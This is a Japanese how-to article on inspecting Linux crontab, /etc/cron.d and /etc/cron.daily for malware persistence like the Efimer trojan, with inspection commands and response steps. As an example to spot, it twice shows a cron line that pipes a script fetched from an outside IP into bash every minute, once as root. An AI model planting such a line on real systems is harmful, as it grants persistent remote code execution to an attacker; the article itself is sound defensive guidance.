2026年8月、KasperskyはEfimerと呼ばれるトロイの木馬について報告した。crontab(Linuxの定期実行の仕組み)に自分自身を登録して再起動後も生き延び、クリップボードにコピーされた仮想通貨アドレスを監視してすり替える、という挙動が確認されている。狙われるのはcrontabという「誰でも使える正規の仕組み」そのものなので、専用のセキュリティソフトがなくてもcrontab -lなどの標準コマンドで自分の目で確認できる。この記事では、自分のLinux環境（サーバーでも自宅PCでも同じ）に、身に覚えのない自動実行ジョブが仕込まれていないかをコマンドで点検する手順だけに絞って解説する。

そもそもcrontabの何が悪用されるのか

crontabは「決まった時刻に決まったコマンドを自動実行する」ためのLinux標準機能で、バックアップやログのローテーションなど正規の用途で広く使われている。裏を返せば、ここに1行追加するだけで「PCを再起動しても、ログインし直しても、勝手に動き続けるプログラム」を仕込める。Efimerのようなマルウェアがcrontab登録を使う理由もここにあり、ウイルス対策ソフトのプロセス監視をすり抜けても、cron経由で定期的に自分を復活させられる。

確認する場所は大きく3つに分かれる。

確認する場所

何が登録されているか

確認に sudo が要るか

crontab -l

自分（ログイン中のユーザー）のジョブ

不要

/var/spool/cron/crontabs/

サーバー上の全ユーザーのジョブ一覧

要（sudo）

/etc/cron.d/・/etc/cron.daily/など

OSやパッケージ、管理者が置いたシステム全体のジョブ

要（sudo）

自分のユーザーのcrontabを確認する

crontab -lは「今ログインしているユーザー名義で登録されている定期実行ジョブ」を表示するコマンドで、sudoは不要。まずここから見る。

$ crontab -l
0 2 * * * /home/username/backup.sh
* * * * * curl -s http://203.0.113.50/update.sh | bash

どこを見るか：1行目は「毎日午前2時にbackup.shを実行」なので内容が読めれば正規の可能性が高い。2行目は* * * * *＝毎分実行という頻度の異常さに加え、外部のIPアドレスからcurlでスクリプトを取得しそのままbashに流し込んでいる。中身を確認せずに実行するcurl | bashという書き方は、正規の管理作業ではまず使わない典型的な危険パターンなので、この時点で強く疑ってよい。

何も登録していないならno crontab for usernameのように出るのが正常。1行でも見覚えのない行があれば異常と判断する。

サーバー上の全ユーザーを一括でチェックする

自分以外のユーザー名義でも仕込まれている可能性があるため、管理者権限（sudo）で全ユーザー分を確認する。

for user in $(cut -f1 -d: /etc/passwd); do
  echo "== $user =="
  sudo crontab -u "$user" -l 2>/dev/null
done

これは/etc/passwdに載っている全ユーザーについて順番にcrontab -lを実行しているだけ。ほとんどのユーザーは何も出力されず（システム用アカウントには通常crontabがない）、普段使っているアカウントとrootだけに出力があるのが自然な状態。見覚えのないユーザー名の下にジョブが表示されたら、そのユーザー自体が不正に作られていないかも合わせて確認する。

Ubuntu/Debianでは登録内容は/var/spool/cron/crontabs/にユーザー名ごとのファイルとして保存されている。RHEL/CentOS/Fedora系ではcrontabsというサブディレクトリを挟まず/var/spool/cron/直下に同じ形式で置かれる点が違う。

$ sudo ls -l /var/spool/cron/crontabs/
-rw------- 1 username crontab 220  9月 10 09:00 username
-rw------- 1 root     crontab  95  9月 18 03:12 root

並んでいるファイル名（＝ユーザー名）が自分の把握している範囲に収まっているかを見る。

/etc/cron.d と /etc/cron.daily を確認する

ユーザーごとのcrontabとは別に、OSのパッケージや管理者がシステム全体向けに登録するジョブが/etc/cron.d/以下や/etc/cron.daily/などのディレクトリに置かれている。findとstatで設定ファイル改ざん点検2026年9月で扱った改ざん検知の考え方と同じで、「ファイルの中身」と「いつ・誰が作ったものか」の両方を見る。

$ ls -la /etc/cron.d/
-rw-r--r-- 1 root root  201  8月 20  2025 e2scrub_all
-rw-r--r-- 1 root root  712  9月 22 04:01 sysstat
-rw-r--r-- 1 root root   96  9月 21 23:58 network-check

e2scrub_allやsysstatはOS標準パッケージが入れるファイルで日付も更新のたびに動いているだけなら自然。一方network-checkのように見覚えのない名前が、自分がインストール作業をした覚えのない日時で増えていたら中身を見る。

$ cat /etc/cron.d/network-check
* * * * * root curl -s http://203.0.113.50/update.sh | bash

rootとして毎分、外部から取得したスクリプトをそのまま実行する内容で、crontab -lで見た危険パターンと同じ形。/etc/cron.d/配下は基本的にroot権限で動くため、ここに仕込まれると被害範囲がユーザー個人のcrontabより大きい。

そのファイルが正規パッケージ由来かを機械的に確認する

「見た目で判断できない」ときは、そのファイルがOSのパッケージ管理システムに登録されたものかどうかを調べると確実。Ubuntu/Debianではdpkg -S、RHEL/CentOS/Fedora系ではrpm -qfを使う。

$ dpkg -S /etc/cron.d/sysstat
sysstat: /etc/cron.d/sysstat

$ dpkg -S /etc/cron.d/network-check
dpkg-query: no path found matching pattern /etc/cron.d/network-check

1つ目のようにパッケージ名が返ってくればそのパッケージが正規にインストールしたファイル。2つ目のように「一致するパスが見つからない」と返ってきたファイルは、どのパッケージも管理していない＝誰かが手動（またはマルウェアが自動）で置いたものなので、内容次第で削除・調査の対象にする。

なお/etc/cron.d/や/etc/cron.daily/などは、ファイル名にピリオド(.)を含む、または末尾が~のファイルを実行対象から除外する仕様がある（run-partsの挙動）。つまりピリオド付きの怪しい名前のファイルが置かれていても、それ自体は実行されない。存在は不審でも、まず優先して見るべきはピリオドを含まない実行可能なファイルの方になる。

/etc/cron.daily など標準ディレクトリの中身

日次・週次・月次のジョブは/etc/crontabからrun-parts経由で呼び出される仕組みになっている。

$ cat /etc/crontab
25 6 * * *   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * *   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

この4行は標準インストールのままなら基本的に変更されない。末尾に見覚えのない行が追加されていないかを確認する。

$ ls -la /etc/cron.daily/
-rwxr-xr-x 1 root root  1478  6月 12  2025 apt-compat
-rwxr-xr-x 1 root root   249  6月 12  2025 logrotate
-rwxr-xr-x 1 root root  8420  9月 21 02:14 man-db

ここも同様に、見慣れないファイル名や、他のファイルと不自然にかけ離れた更新日時のものがあればcatで中身を見て、dpkg -Sでパッケージ由来かを確認する。

見つけたら何をするか

不審なジョブを見つけても、その場で消す前にまず記録を残す。

  1. 証拠を保存する：sudo cat /etc/cron.d/network-check > ~/cron_evidence_$(date +%F).txt のように内容をファイルへコピーしておく。あとで被害範囲を調べる際や、契約しているホスティング事業者に報告する際の材料になる。
  2. 無効化・削除する：自分のcrontabならcrontab -eで該当行を消して保存するだけで反映される（設定ファイルを直接編集するわけではないので、消した行を書き戻せば元に戻せる）。/etc/cron.d/のファイルはdpkg -Sでどのパッケージにも属さないと確認できたものに限り、まずはsudo mvで別ディレクトリへ退避してから様子を見る（sudo rmでいきなり消すと調査に必要な情報も失う）。
  3. 関連する被害の有無を確認する：クリップボード監視・情報窃取が目的のマルウェアなら、そのジョブが呼び出しているスクリプトを実行した形跡がないか（ps auxで不審なプロセスが残っていないか）、外部からログインされていないかも合わせて見る。今誰がSSHに入っているか確認2026年9月の手順でSSH側の侵入有無も確認しておくと安心できる。
  4. もう一段強い永続化がないか確認する：cronだけでなく認証の仕組み自体に手が入っていないかはPAMバックドアPlague点検2026年9月最新で扱っている観点が近い。cronの不審ジョブが見つかった場合はこちらも合わせて確認すると取りこぼしが減る。

設定変更を伴うのは3の削除・退避作業のみで、確認コマンド自体（crontab -l・ls・cat・dpkg -S）はすべて読み取り専用で環境に影響を与えない。まずは確認だけを一通り行い、何かおかしいと感じたときだけ退避に進む、という順番で進めれば安全にできる。

関連する選択肢

毎日決まった時刻にスクリプトを動かすだけなら、共有のレンタルサーバーでも足ります。cronが使えるプランを選べば、自分でOSを管理する必要はありません。

レンタルサーバー エックスサーバー

※ 広告を含みます（A8.net）。リンク経由でお申し込みがあった場合、手数料を受け取ることがあります。

まとめ

Efimerのようにcrontabを悪用するマルウェアは、特別なツールがなくてもcrontab -l・/etc/cron.d・/etc/cron.dailyを見るだけで痕跡を見つけられる可能性がある。見るポイントは「実行頻度が不自然でないか」「curl | bashのように中身を検証せず実行していないか」「そのファイルがdpkg -Sでパッケージに紐づくか」の3点に集約できる。読み取りコマンドだけなら環境を壊す心配はないので、月に1回でも自分のcrontabと/etc/cron.dを見る習慣を作っておくと、こうした静かな永続化に早めに気づける。